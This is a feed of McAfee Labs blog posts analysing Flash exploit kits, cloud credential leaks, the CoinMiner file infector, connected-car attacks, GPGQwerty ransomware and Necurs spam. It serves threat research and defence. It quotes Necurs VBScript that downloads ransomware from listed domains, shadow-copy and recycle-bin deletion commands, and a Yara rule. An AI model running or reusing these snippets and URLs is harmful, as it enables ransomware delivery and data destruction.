Coupling the increasing difficulty of finding problems against the increase in effectiveness of a software security program, we find a distribution like what we have seen with Flash CVE reporting from 2015 through 2017. Until 2015, attackers exploited relatively easy-to-find cross-site scripting errors, but these largely disappeared after 2014. Suddenly, in 2015, there is a huge jump in the discovery of difficult-to-uncover memory issues and code execution opportunities. The leap in the CVE numbers reflects more technically challenging issues surfacing just as Adobe’s software strategy was making its shift.

The new strategy had not had time to be fully effective by 2015. Plus, Flash, like all complex software, carries a large amount of legacy code. Just when researchers were digging deeper and harder into the code base, Adobe’s software security change required not just chasing vulnerability fixes, but also generating protective code and designs—all of which take time to implement. This typical situation explains the influx of critical new issues in 2015, and their subsequent continuous reductions.

Still, no single or collection of security techniques is perfect. In 2017, Flash marked 70 new issues. So far in 2018, three have been discovered. The most recent, CVE-2018-4878, is technically challenging and appears to be within protections that Adobe has placed within byte arrays to prevent these memory structures from being misused. “[CVE-2018-4878] bypassed the byte array mitigation feature that was introduced to prevent ‘length corruption’ attacks in Flash,” wrote McAfee’s Hardik Shah in “How Hackers Bypassed an Adobe Flash Protection Mechanism.”

It is just as possible to unwittingly add an exploitation opportunity when implementing software protections as when writing any other code. Of the 73 vulnerabilities discovered in 2017 and 2018, there is no method, without tracking code changes, to know when each of the flaws was introduced. It is likely that some of them arose in code carried forward from earlier versions, that is, from legacy code. Software implementers have a compelling argument to reuse as much code as possible in each new version. It is cheaper because it saves time.

In a product with a history as long as Flash’s (more than 10 years), some of its code was written for a different threat landscape, not for today’s attackers and their more sophisticated tools and techniques. It is reasonable to suspect that a significant portion of the last two years’ worth of newly discovered issues are in code that has been carried into the latest versions. Those flaws contrast with the most recent vulnerability, CVE-2018-4878, which bypasses and abuses protections that were likely put into place after Adobe’s shift in strategy. The code that CVE-2018-4878 abuses was intended to make exploitation of byte arrays “more expensive.”

To measure the popularity of Flash, we turned to Q-Success’ W3Techs web survey data. The following table shows the use of four client-side languages, with Flash declining steadily since 2011. JavaScript, on the other hand, today is nearly ubiquitous, at 95%. The two leading languages are graphed in the chart that follows the table.

Historical Yearly Trends in the Usage of Client-Side Programming Languages for Websites

Usage (in % of sites) of Client-Side Programming Languages for Websites

Chart data as of March 8, 2018. Source for table and chart: © 2009-2018 Q-Success DI Gelbmann GmbH

From W3Techs data, we can see that Flash use has declined steadily, to only 5% of surveyed web sites. Doesn’t that suggest that Flash exploitation would also decline or even stop? Unfortunately, it does not.

The following W3Techs chart shows that although the number of sites using Flash is fairly low, enough high-traffic sites employ it to keep Flash popular.

High-Traffic Sites That Still Use Adobe Flash

Source: PublicWWW.

If popular websites continue to use Flash, then Flash Player will remain in use on users’ machines for some time. Adobe has promised to continue supporting Flash Player until the end of 2020. Unfortunately, this means merely that software updates, features, and patches will no longer be added; it does not effectively change Flash’s overall use. Only the end of websites requiring Flash will remove its vulnerabilities from the security picture.

A highly targeted attack may need to compromise only a single computer to access an organization’s digital infrastructure and gain access to strategic targets. That single computer could be running an unpatched or dated version of Flash.

As the use of Flash has declined, client-side JavaScript has become the de facto browser programming language. Yet JavaScript’s takeover does not fully solve the problem because it can deliver a Flash payload. Although some of the Flash vulnerabilities we have analyzed can be exploited remotely, many cannot. An attacker often requires some interaction by the victim to run a Flash exploit. JavaScript has become an increasingly common delivery mechanism for this purpose.

DIY: Exploits in a Kit

Perhaps more important to attackers is the easy availability of Flash exploits ready to use in numerous exploit “kits.” Kits package all the necessary code to exercise a set of known vulnerabilities. Access to readily available exploits in a kit means far less attacker effort. Kits also “lower the technical bar.” Attackers need not understand how an exploit works; they can simply leverage the packages without knowing the technical details.

Old Flash exploits are still available, along with new ones such as CVE-2018-4878, according to Tim Hux of the McAfee Advanced Threat Research team. “The Bizarro Sundown (aka GreenFlash) and ThreadKit exploit kits added the exploit to their lists last month,” he said. “The Rig and Magnitude exploit kits added this flaw to their arsenals this month.”

Adding a new exploit does not mean the old ones are no longer available. Exploit kits are additive. The Rig kit, which appeared in 2014, contains the following Flash exploits:

CVE-2013-0634           CVE-2015-3113

CVE-2014-0497           CVE-2015-5119

CVE-2014-0515           CVE-2015-5122

CVE-2014-0569           CVE-2015-7645

CVE-2015-0311           CVE-2016-1019

CVE-2015-0359           CVE-2016-4117

CVE-2015-3090

Old exploits do not die, they just get used less often as software is upgraded to fix earlier versions. If an attacker finds a vulnerable version of Flash in use, kits will have exploits to employ.

Conclusion

It is difficult, and perhaps impossible, to prove that software is error free. (Alan Turing’s famous proof mathematically shows that automated processes cannot be proved correct through automation.) As famed computer scientist Edsger Dijkstra noted, “Testing shows the presence, not the absence of bugs.” (“Software Engineering Techniques,” NATO Science Committee, page 16.) In other words, even software that has passed a battery of security tests before release may still contain exploitable conditions.

From our analysis of the relationship between Flash CVEs and Flash’s ongoing use, especially on high-traffic sites, McAfee’s Advanced Threat Research team believes that Flash vulnerabilities will continue to offer attackers a means toward malicious ends. However, Adobe’s shift in security strategy is an excellent step in reducing the number of newly discovered issues, which should maintain their decline.

McAfee protections for CVE-2018-4878

McAfee’s malware engine can parse Flash for malicious content. Customers who have turned on automatic updates or who update regularly have been protected against seven new variants of CVE-2018-4878 since February 6.

McAfee Host Intrusion Prevention signatures 8001, 1149, 6011, and 6010 detect CVE-2018-4878 exploits.

  • 8001 and 1149: On by default, but log only, not block. Customers can select block.
    • 8001: Suspicious exploit behavior, log only, available in HIPS, not in ENS
    • 1149: CMD tool access by a Windows mail client or Internet Explorer, log only, available in HIPS, not in ENS
  • 6011 and 6010: Off by default. Enabling them may result in an increase of false positives.
    • 6011: Generic application invocation protection, not present in ENS
    • 6010: Generic application hooking protection, not present in ENS

Recent campaigns exploiting Flash Player Issues

CVE-2018-4878: Currently being exploited in a massive spam mail campaign.

CVE-2017-11292: Black Oasis Advanced Persistent Threat

CVE-2016-4117: Hidden Cobra APT/CryptXXX Ransomware/Erebus APT

CVE-2016-1019: Cerber and Locky ransomware/Hidden Cobra APT

CVE-2015-3133: CryptoWall Ransomware

CVE-2015-0311: TeslaCrypt and FessLeak Ransomware

CVE-2014-8439: Cerber Ransomware

CVE-2015-7645: Cerber and Alpha Crypt Ransomware

McAfee does not control or audit third-party benchmark data or the websites referenced in this document. You should visit the referenced website and confirm whether referenced data is accurate.
McAfee and the McAfee logo are trademarks or registered trademarks of McAfee, LLC or its subsidiaries in the US and other countries. Other marks and brands may be claimed as the property of others. Copyright © 2018 McAfee, LLC

The post Despite Decline in Use of Adobe Flash, Vulnerabilities Will Continue to Cause Concern appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/despite-decline-use-adobe-flash-vulnerabilities-will-continue-cause-concern/feed/ 0
Cloud Clustering Vulnerable to Attacks https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cloud-clustering-vulnerable-to-attacks/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cloud-clustering-vulnerable-to-attacks/#respond Mon, 16 Apr 2018 16:00:43 +0000 https://securingtomorrow.mcafee.com/?p=88384 The authors thank John Fokker and Marcelo CaroVargas for their contributions and insights. In our upcoming talk at the Cloud Security Alliance Summit at the RSA Conference, we will focus our attention on the insecurity of cloud deployments. We are interested in whether attackers can use compromised cloud infrastructure as viable backup resources as well […]

The post Cloud Clustering Vulnerable to Attacks appeared first on McAfee Blogs.

]]>
The authors thank John Fokker and Marcelo CaroVargas for their contributions and insights.

In our upcoming talk at the Cloud Security Alliance Summit at the RSA Conference, we will focus our attention on the insecurity of cloud deployments. We are interested in whether attackers can use compromised cloud infrastructure as viable backup resources as well as for cryptocurrency mining and other illegitimate uses. The use of containers has increased rapidly, especially when it comes to managing the deployment of applications. Our latest market survey found that 83% of organizations worldwide are actively testing or using containers in production. Applications need authentication for load balancing, managing the network between containers, auto-scaling, etc. One solution (called a cluster manager) for the automated installation and orchestration of containers is Kubernetes.

Some key components in the Kubernetes architecture appear below:

High-level Kubernetes architecture.

  • Kubernetes master server: The managing machine oversees one or more nodes
  • Node: A client that runs tasks as delegated by the user and Kubernetes master server
  • Pod: An application (or part of an application) that runs on a node. The smallest unit that can be scheduled to be deployed. Not intended to live long.

For our article, we need to highlight the etcd storage on the master server. This database stores the configuration data of the cluster and represents the overall state of the cluster at a given time. Kubernetes saves these secrets in Base64 strings; before Version 2.1 there was no authentication in etcd.

With that knowledge, security researcher Giovanni Collazo from Puerto Rico started to query the Shodan database for etcd databases connected to the Internet. He discovered many and by executing a query, some of these databases started to reveal a lot of credentials. Beyond leaking credentials from databases and other accounts, what other scenarios are possible?

Leaking Credentials

There are several ways that we can acquire credentials for cloud services without hacking into panels or services. By “creatively” searching public sites and repositories, we can find plenty of them. For example, when we searched on GitHub, we found more than 380,000 results for certain credentials. Let’s assume that half of them are useful: We would have 190,000 potentially valid credentials. As Collazo did for etcd, one can also use the Shodan search engine to query for other databases. By creating the right query for Django databases, for example, we were able to identify more cloud credentials. Amazon’s security team proactively scans GitHub for AWS credentials and informs their customers if they find credentials.

Regarding Kubernetes: Leaked credentials, complete configurations of the DNS, load balancers, and service accounts offer several possible scenarios. These include exfiltrating data, rerouting traffic, or even creating malicious containers in different nodes (if the service accounts have enough privileges to execute changes in the master server).

Creating malicious containers.

One of the biggest risks concerning leaked credentials is the abuse of your cloud resources for cryptomining. The adversaries can order multiple servers under your account to start cryptomining, enriching their bank accounts while you pay for the computing power “you” ordered.

Open Buckets

We have heard a lot about incidents in which companies have not secured their Amazon S3 buckets. A number of tools can scan for “open” buckets and download the content. Attackers would be most interested in write-enabled rights on a bucket. For our Cloud Security Alliance keynote address at RSA, we created a list of Fortune 1000 companies and looked for readable buckets. We discovered quite a few. That is no surprise, but if you combine the read-only buckets information with the ease of harvesting credentials, the story changes. With open and writable buckets, the adversaries have plenty of opportunities: storing and injecting malware, exfiltrating and manipulating data, etc.

McAfee cloud researchers offer an audit tool that, among other things, verifies the rights of buckets. As we write this post, more than 1,200 writable buckets belonging to a multitude of companies, are accessible to the public. One of the largest ad networks in the world had a publicly writable bucket. If adversaries could access that network, they could easily inject malicious code into advertisements. (As part of our responsible disclosure process, we reported the issue, which was fixed within hours.) You can read an extensive post on McAfee cloud research and how the analysts exposed possible man-in-the-middle attacks leveraging writable buckets.

Clustering the Techniques

To combat ransomware, many organizations use the cloud to back up and protect their data. In our talk we will approach the cloud as an attack vector for spreading ransomware. With the leaked credentials we discovered from various sources, the open and writable buckets created a groundwork for storing and spreading our ransomware. With attackers having a multitude of credentials and storage places such as buckets, databases, and containers, defenders would have difficulty keeping up. We all need to pay attention to where we store our credentials and how well we monitor and secure our cloud environments.

The post Cloud Clustering Vulnerable to Attacks appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cloud-clustering-vulnerable-to-attacks/feed/ 0
Parasitic Coin Mining Creates Wealth, Destroys Systems https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/parasitic-coin-mining-creates-wealth-destroys-systems/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/parasitic-coin-mining-creates-wealth-destroys-systems/#respond Wed, 11 Apr 2018 16:00:19 +0000 https://securingtomorrow.mcafee.com/?p=85367 The increasing popularity of cryptocurrencies has inspired some people to pursue coin mining, essentially making money online. (Mining is the processing of transactions in the digital currency system, in which new transactions are recorded in a digital ledger called the blockchain. Miners help to update the ledger to verify and collect new transactions to be […]

The post Parasitic Coin Mining Creates Wealth, Destroys Systems appeared first on McAfee Blogs.

]]>
The increasing popularity of cryptocurrencies has inspired some people to pursue coin mining, essentially making money online. (Mining is the processing of transactions in the digital currency system, in which new transactions are recorded in a digital ledger called the blockchain. Miners help to update the ledger to verify and collect new transactions to be added to the blockchain. In return, miners earn Bitcoins, for example.) Mining is resource intensive and legal if it is done with the proper permissions.

McAfee Labs has recently seen a huge increase in a malware variant, commonly known as CoinMiner or CoinMiner-FOZU!, which takes control of a victim’s computer to mine new coins by infecting user executables, injecting Coinhive JavaScript into HTML files, and blocking the domains of security products to stop signature updates.

CoinMiner-FOZU!, which we analyzed, has led all major coin-miner malware in prevalence in 2018. (March figures are incomplete.) Source: McAfee Labs.

The following graphs show statistics and geographic data for recent CoinMiner-FOZU! detections:

W32/CoinMiner employs—without a user’s consent—machine resources to mine coins for virtual currencies. Its parasitic nature makes it rare as well as destructive: The malware does not put a unique marker on each file it infects. Thus subsequent infections by the same malware will reinfect the victim’s files.

Analysis

After launching, CoinMiner copies itself into two hardcoded locations:

  • %Windows%\360\360Safe\deepscan\ZhuDongFangYu.exe
  • %filesystemroot%:\RECYCLER\S-5-4-62-7581032776-5377505530-562822366-6588\ZhuDongFangYu.exe

These two files are hidden and read only:

The binary executes from the first location and starts the parasitic infection process. The malware prepends itself to user-executable files but, unlike traditional file infectors, it does not allow the original file to run. It targets files with extensions .exe, .com, .scr, and .pif. This malware does not check for multiple infections. If the threat is deleted and later reinfects the system, the same files will again be targeted.

To prevent victims from restoring clean copies of their files, the malware deletes both ISO (disk image) and GHO (Norton Ghost) files:

 

Once CoinMiner finishes infecting other executable files, it injects a Coinhive script into HTML files. The Coinhive service provides cryptocurrency mining software, which using JavaScript code can be embedded in websites and use the site visitor’s processing power to mine the cryptocurrency:

CoinMiner disables the user account control feature, which notifies the user when applications make changes to the system. Through registry updates, it also disables folder options and registry tools, and deletes safe mode.

From its second location on an infected system—the hidden autorun.inf at the file system root—the malware ensures that it starts after rebooting:

To avoid detection by security products, CoinMiner puts security software domains in the hosts file and redirects them to 127.0.0.1, the loopback address on the victim’s system. If users have not created a local website, they will see an error page in their browsers. By doing this, the malware ensures that no victim can receive an update from the security vendor.

When the victim runs the script-injected HTML files, the Coinhive script executes, downloading coinhive.min.js (hash: 4d6af0dba75bedf4d8822a776a331b2b1591477c6df18698ad5b8628e0880382) from coinhive.com. This script takes over 100% of the CPU for mining using the function setThrottle(0). The mining stops when the victim closes the infected HTML file:

The simple hosts-file injection, hiding in the recycle bin, and maximizing CPU usage suggest that this malware has been written by a novice author. McAfee advises all users to keep their antimalware products up to date.

McAfee Detections

  • W32/CoinMiner
  • CoinMiner-FOZU![Partial hash]
  • TXT/CoinMiner.m
  • HTML/CoinMiner.m
  • JS/Miner.c

Hashes (SHA-256)

  • 80568db643de5f429e9ad5e2005529bc01c4d7da06751e343c05fa51f537560d
  • bb987f37666b6e8ebf43e443fc4bacd5f0ab795194f20c01fcd10cb582da1c57
  • 4d6af0dba75bedf4d8822a776a331b2b1591477c6df18698ad5b8628e0880382

The post Parasitic Coin Mining Creates Wealth, Destroys Systems appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/parasitic-coin-mining-creates-wealth-destroys-systems/feed/ 0
Today’s Connected Cars Vulnerable to Hacking, Malware https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/todays-connected-cars-vulnerable-hacking-malware/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/todays-connected-cars-vulnerable-hacking-malware/#comments Tue, 27 Mar 2018 19:30:30 +0000 https://securingtomorrow.mcafee.com/?p=87204 The McAfee Advanced Threat Research team recently published an article about threats to automobiles on the French site JournalAuto.com. Connected cars are growing rapidly in number and represent the next big step in personal transportation.

The post Today’s Connected Cars Vulnerable to Hacking, Malware appeared first on McAfee Blogs.

]]>
The McAfee Advanced Threat Research team recently published an article about threats to automobiles on the French site JournalAuto.com. Connected cars are growing rapidly in number and represent the next big step in personal transportation. Auto sales are expected to triple between 2017 and 2022, to US$155.9 billion from $52.5 billion, according to PwC France. Realizing this increase is a huge challenge for car companies as well as for IT security firms.

Through multiple added functions, from Wi-Fi and external connections to driving assistance and autonomous operations, connected cars will very soon need strong security to avoid any intrusions that could endanger drivers, passengers, and others.

Security Risks

Modern cars are exposed to security risks just as are other connected devices. Let’s look at current and future threats in the automotive security field.

The following diagram shows the main risks: 

 

Personal Data and Tracking

Connected cars record a lot of information about their drivers. This information can come from an external device connected to the car, such as a phone, and can include contact details, SMS and calls history, and even musical tastes. A car can also record shifting patterns and other driver’s habits that could be used to create a picture of a driver’s competence. This kind of oversight could aid insurance companies when offering coverage, for example.

With personal data now considered the new gold, all of this information represents a valuable target for cybercriminals as well as companies and governments.

  • Cybercriminals can use this stolen information for financial compensation and identity theft
  • Companies can use this information for marketing or insurance contracts
  • Governments can use this information for spying on and tracking people

Faked Car Data

Digital information can be modified and faked. By altering data such as pollution tests or performance, companies can take advantage of the results to increase sales. Similarly, drivers could modify car statistics such as distance traveled to fool insurance companies or future buyers.

Car Theft and Key Fob Hacking

Key fob hacking is a technique to allow an intruder to enter a car without breaking in. This technique is widely known by attackers and can be done easily with cheap hardware. The attack consists of intercepting the signal from a wireless key to either block the signal to lock the car or replay the signal to gain access.

One variant of the attack uses a jammer to block the signal. The jammer interferes with the electromagnetic waves used to communicate with the vehicle, blocking the signal and preventing the car from locking, leaving access free to the attacker. Some jammers have a range of more than 500 meters.

Key fob jammer.

Another attack intercepts the signal sent by the key and replays it to open the door. Auto manufacturers protect against this kind of attack by implementing security algorithms that avoid simple replays with same signal. Each signal sent from the key to the car is unique, thus avoiding a replay. However, one proof of concept for this attack blocks the signal to the car and stores it. The driver’s first click on the key does not work but is recorded by the attacker. The driver’s second click is also recorded, locking the car but giving two signals to the attackers. The first signal recorded, which the car has not received, is used to unlock the door. The second signal is stored for the attacker to use later.

Entering by the (CAN) Back Door

Autos use several components to interact with their parts. Since the end of the 20th century, cars have used the dedicated controller area network (CAN) standard to allow microcontrollers and devices to talk to each other. The CAN bus communicates with a vehicle’s electronic control unit (ECU), which operates many subsystems such as antilock brakes, airbags, transmission, audio system, doors, and many other parts—including the engine. Modern cars also have an On-Board Diagnostic Version 2 (OBD-II) port. Mechanics use this port to diagnose problems. CAN traffic can be intercepted from the OBD port.

The on-board diagnostic port.

An external OBD device could be plugged into a car as a backdoor for external commands, controlling services such as the Wi-Fi connection, performance statistics, and unlocking doors. The OBD port offers a path for malicious activities if not secured.

Spam and Advertising

Adding more services to connected cars can also add more security risks. With the arrival of fully connected autos such as Teslas, which allow Internet access from a browser, it is feasible to deliver a new type of spam based on travel and geolocation. Imagine a pop-up discount as you approach a fast-food restaurant. Not only is this type of action likely to be unwanted, it could also provide a distraction to drivers. We already know spam and advertising are infection vectors for malware.

Malware and Exploits

All the ECUs in an auto contain firmware that can be hacked. Cars employ in-vehicle infotainment (IVI) systems to control audio or video among other functions. These systems are increasing in complexity.

An in-vehicle infotainment system.

MirrorLink, Bluetooth, and internal Wi-Fi are other technologies that improve the driving experience. By connecting our smartphones to our cars, we add functions such as phone calls, SMS, and music and audiobooks, for example.

Malware can target these devices. Phones, browsers, or the telecommunication networks embedded in our cars are infection vectors that can allow the installation of malware. In 2016, McAfee security researchers demonstrated a ransomware proof of concept that blocked the use of the car until the ransom was paid.

A proof-of-concept IVI ransomware attack on a vehicle.

The ransomware was installed via an over-the-air system that allowed the connection of external equipment.

Third-Party Apps  

Many modern cars allow third parties to create applications to further connected services. For example, it is possible to unlock or lock the door from your smartphone using an app. Although these apps can be very convenient, they effectively open these services to anyone and can become a new attack vector. It is easier to hack a smartphone app than a car’s ECU because the former is more affordable and offers many more resources. Car apps are also vulnerable because some third parties employ weak security practices and credentials are sometimes stored in clear text. These apps may also store personal information such as GPS data, car model, and other information. This scenario has already been demonstrated by the OnStar app that allowed a hacker to remotely open a car.

Vehicle-to-Vehicle Communications

Vehicle-to-vehicle (V2V) technology allows communications between vehicles on the road, using a wireless network. This technology can aid security on the road by reducing a car’s speed when another vehicle is too close, for example. It can also communicate with road sign devices (vehicle to infrastructure). That transmitted information improves the driving experience as well as the security. Now imagine this vector invaded by destructive malware. If the V2V system becomes a vector, a malicious actor could create malware to infect many connected cars. This sounds like a sci-fi scenario, right? Yet it is not, if we compare this possibility with recent threats such as WannaCry or NotPetya that targeted computers with destructive malware. It is not hard to predict such a nightmare scenario.

Conclusion

Connected cars are taking over the roads and will radically change how we move about. By enhancing the customer experience, the automotive and the tech industries will provide exciting new services. Nonetheless, we need to consider the potential risks, with security implemented sooner rather than later. Some of the scenarios in this post are already used in the wild; others could happen sooner than we expect.

References

The post Today’s Connected Cars Vulnerable to Hacking, Malware appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/todays-connected-cars-vulnerable-hacking-malware/feed/ 2
Ransomware Takes Open-Source Path, Encrypts With GNU Privacy Guard https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ransomware-takes-open-source-path-encrypts-gnu-privacy-guard/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ransomware-takes-open-source-path-encrypts-gnu-privacy-guard/#respond Mon, 19 Mar 2018 20:29:15 +0000 https://securingtomorrow.mcafee.com/?p=85245 McAfee Labs has recently observed a new variant of ransomware that relies on the open-source program GNU Privacy Guard (GnuPG) to encrypt data. GnuPG is a hybrid-encryption software program that uses a combination of conventional symmetric-key cryptography for speed and public-key cryptography to ease the secure key exchange. Although ransomware using GnuPG to encrypt files […]

The post Ransomware Takes Open-Source Path, Encrypts With GNU Privacy Guard appeared first on McAfee Blogs.

]]>
McAfee Labs has recently observed a new variant of ransomware that relies on the open-source program GNU Privacy Guard (GnuPG) to encrypt data. GnuPG is a hybrid-encryption software program that uses a combination of conventional symmetric-key cryptography for speed and public-key cryptography to ease the secure key exchange. Although ransomware using GnuPG to encrypt files is not unique, it is uncommon.

We analyzed the following SHA-256 hashes of the malware GPGQwerty:

  • 2762a7eadb782d8a404ad033144954384be3ed11e9714c468c99f0d3df644ef5
  • 39c510bc504a647ef8fa1da8ad3a34755a762f1be48e200b9ae558a41841e502
  • f5cd435ea9a1c9b7ec374ccbd08cc6c4ea866bcdc438ea8f1523251966c6e88b

We found these hashes need many support files for successful execution. The three files themselves will not encrypt anything. GPGQwerty consists of a bundle of files that runs together to encrypt a victim’s machine. The bundle comprises ten files:

This ransomware was first seen at the beginning of March. Generally, this type of malware spreads by spam email, malicious attachments, exploits, or fraudulent downloads. The binary 39c510bc504a647ef8fa1da8ad3a34755a762f1be48e200b9ae558a41841e502 was spotted in the wild at hxxp://62.152.47.251:8000/w/find.exe; it may be part of a drive-by download strategy or was hosted on a legitimate site.

Key.bat, run.js, and find.exe are three files that play a vital role in the encryption process. The infection process follows this path:

Analysis

The binary find.exe has eight sections and the raw size of its .bss section is zero.

It also has an unusual time and date stamp:

The file includes malicious thread local storage (TLS) callbacks as an anti-analysis trick. Generally, this technique allows executable files to include malicious TLS callback functions to run prior to the AddressOfEntryPoint field (the normal execution point of a binary) in the executable header.

The action starts with the execution of the batch file key.bat. It imports the key and launches find.exe on the victim’s machine by executing the JavaScript run.js. The contents of the batch and JavaScript files are shown in the following snippet:

This ransomware kills some selected running tasks using command-line utility taskkill. This command has options to kill a task or process either by using the process ID or the image filename. In the following snippet, we see it terminating some processes forcefully by using their image names.

The ransomware tries to encrypt data using GnuPG (gpg.exe). The malware appends the extension .qwerty to the encrypted files:

The malware overwrites the original files using shred.exe:

After encryption, the ransomware allots a unique ID that identifies each victim. It also creates a .txt file that states all files on the computer have been locked and the victim must pay to decrypt the files.

GPGQwerty deletes the recycle bin using the Windows utility del:

Using the command “vssadmin.exe Delete Shadows /All /Quiet,” the ransomware silently removes the volume shadow copies (vssadmin.exe, wmic.exe) from the target’s system, thus preventing the victim from restoring the encrypted files. It also deletes backup catalogs (wbadmin.exe) and disables automatic repair at boot time (bcdedit.exe):

Finally, it creates the ransom note readme_decrypt.txt in each folder that holds an encrypted file. The ransom note gives instructions to communicate with an email address within 72 hours to arrange payment.

This Yara rule detects GPGQwerty:

rule crime_ransomware_windows_GPGQwerty: crime_ransomware_windows_GPGQwerty

{

meta:

author = “McAfee Labs”

description = “Detect GPGQwerty ransomware”

strings:

$a = “gpg.exe –recipient qwerty  -o”

$b = “%s%s.%d.qwerty”

$c = “del /Q /F /S %s$recycle.bin”

$d = “cryz1@protonmail.com”

condition:

          all of them

}

 

McAfee advises all users to keep their antimalware products up to date. McAfee products detect this malware as Ransomware-GKF! [Partial hash] with DAT Versions 8826 and later. For more on combating ransomware, visit NoMoreRansom.org.

The post Ransomware Takes Open-Source Path, Encrypts With GNU Privacy Guard appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ransomware-takes-open-source-path-encrypts-gnu-privacy-guard/feed/ 0
Necurs Botnet Leads the World in Sending Spam Traffic https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/necurs-botnet-leads-the-world-in-sending-spam-traffic/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/necurs-botnet-leads-the-world-in-sending-spam-traffic/#respond Mon, 12 Mar 2018 04:03:39 +0000 https://securingtomorrow.mcafee.com/?p=84973 In Q4 2017 we found that the Necurs and Gamut botnets comprised 97% of spam botnet traffic. (See the McAfee Labs Threats Report, March 2018.) Necurs (at 60%) is currently the world’s largest spam botnet. The infected computers operate in a peer-to-peer model, with limited communication between the nodes and the control servers. Cybercriminals can […]

The post Necurs Botnet Leads the World in Sending Spam Traffic appeared first on McAfee Blogs.

]]>
In Q4 2017 we found that the Necurs and Gamut botnets comprised 97% of spam botnet traffic. (See the McAfee Labs Threats Report, March 2018.) Necurs (at 60%) is currently the world’s largest spam botnet. The infected computers operate in a peer-to-peer model, with limited communication between the nodes and the control servers. Cybercriminals can rent access to the botnet to spread their own malicious campaigns.

The most common techniques are email attachments with macros or JavaScript to download malware from different locations. In October, the Locky ransomware campaign used Microsoft’s Dynamic Data Exchange to lure victims into “updating” the attached document with data from linked files—external links that delivered the malware.

In Q4 we noticed several botnet campaigns delivering the following payloads:

  • GlobeImposter ransomware
  • Locky ransomware
  • Scarab ransomware
  • Dridex banking Trojan

A timeline:

Let’s zoom in on one of the campaigns from the Necurs botnet. In the following example, an email automatically sent from a VOIP system informs the victim of a missed call. The email contains an attachment, a Visual Basic script.

In this case, the name is “Outside Caller 19-12-2017 [random nr].” Here is some of the script code:

Execute "Sub Aodunnecessarilybusinesslike(strr):ZabiT.Savetofile writenopopbusinesslikeInPlaceOf , 2 : End Sub"

Disaster = "//21+12:ptth21+12ex"+"e.eUtaLHpbP\21+12elifotevas21+12ydoBes"+"nopser21+12etirw21+12nepo21+12epyT21+12PmeT21+12TeG21+12ssecorP21+12llehs.tpircsW21+12noitacilppA.llehs21+12" & "" 

 

This piece of code makes sure that the embedded code will be saved to a file. Note the second line of code: It is backward and calls the Windows script shell to execute the code. The following code string ensures that the backward line is read properly:

SudForMake = Split("Microsoft.XMLHTTP21+12Adodb.streaM"+StrReverse(Disaster),  "21+12")

 

The following line starts the saved code:

writenopopbusinesslikeMacAttack.Run("cmd."&"exe /c START """" "+" " & ArrArr ) 

 

Once the executable is started, it attempts to download the ransomware from the embedded URLs in the code: 

krapivec = Array("littleblessingscotons.com/jdh673hk?","smarterbaby.com/jdh673hk?","ragazzemessenger.com/jdh673hk?") 

 

The malware downloaded and executed is GlobeImposter ransomware. After encrypting all files and deleting the Volume Shadow copies to block file restore, the user is prompted with the request to buy the decryptor:

Spam botnets are one of the pillars of the cybercrime business. The authors of these botnets understand their market value and spend their rental income on continuous development. Their work keeps the infrastructure running, creates ever-changing spam messages, and delivers these messages to your inbox—with many avoiding spam blockers. This cybercrime effort should inspire your organization to discuss the implementation of DMARC (domain-based message authentication, reporting & conformance). To learn more about how DMARC can help protect against this kind of threat, visit dmarc.org. For more on Necurs, see the McAfee Labs Threats Report, June 2017.

The post Necurs Botnet Leads the World in Sending Spam Traffic appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/necurs-botnet-leads-the-world-in-sending-spam-traffic/feed/ 0
‘McAfee Labs Threats Report’ Examines Cryptocurrency Hijacking, Ransomware, Fileless Malware https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-threats-report-examines-cryptocurrency-hijacking-ransomware-fileless-malware/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-threats-report-examines-cryptocurrency-hijacking-ransomware-fileless-malware/#respond Mon, 12 Mar 2018 04:03:31 +0000 https://securingtomorrow.mcafee.com/?p=85151 Today McAfee published the McAfee Labs Threats Report: March 2018. The report looks into the growth and trends of new malware, ransomware, and other threats in Q4 2017. McAfee Labs saw on average eight new threat samples per second, and the increasing use of fileless malware attacks leveraging Microsoft PowerShell. The Q4 spike in Bitcoin value prompted cybercriminals to focus on cryptocurrency hijacking through a variety of methods, including malicious Android apps.

The post ‘McAfee Labs Threats Report’ Examines Cryptocurrency Hijacking, Ransomware, Fileless Malware appeared first on McAfee Blogs.

]]>
Today McAfee published the McAfee Labs Threats Report: March 2018. The report looks into the growth and trends of new malware, ransomware, and other threats in Q4 2017. McAfee Labs saw on average eight new threat samples per second, and the increasing use of fileless malware attacks leveraging Microsoft PowerShell. The Q4 spike in Bitcoin value prompted cybercriminals to focus on cryptocurrency hijacking through a variety of methods, including malicious Android apps.

Each quarter, McAfee Labs, led by the Advanced Threat Research team, assesses the state of the cyber threat landscape based on threat data gathered by the McAfee Global Threat Intelligence cloud from hundreds of millions of sensors across multiple threat vectors around the world. McAfee Advanced Threat Research complements McAfee Labs by providing in-depth investigative analysis of cyberattacks from around the globe.

Cybercriminals Take on New Strategies, Tactics

The fourth quarter of 2017 saw the rise of newly diversified cybercriminals, as a significant number of actors embraced novel criminal activities to capture new revenue streams. For instance, the spike in the value of Bitcoin prompted actors to branch out from moneymakers such as ransomware, to the practice of hijacking Bitcoin and Monero wallets. McAfee researchers discovered Android apps developed exclusively for the purpose of cryptocurrency mining and observed discussions in underground forums suggesting Litecoin as a safer model than Bitcoin, with less chance of exposure.

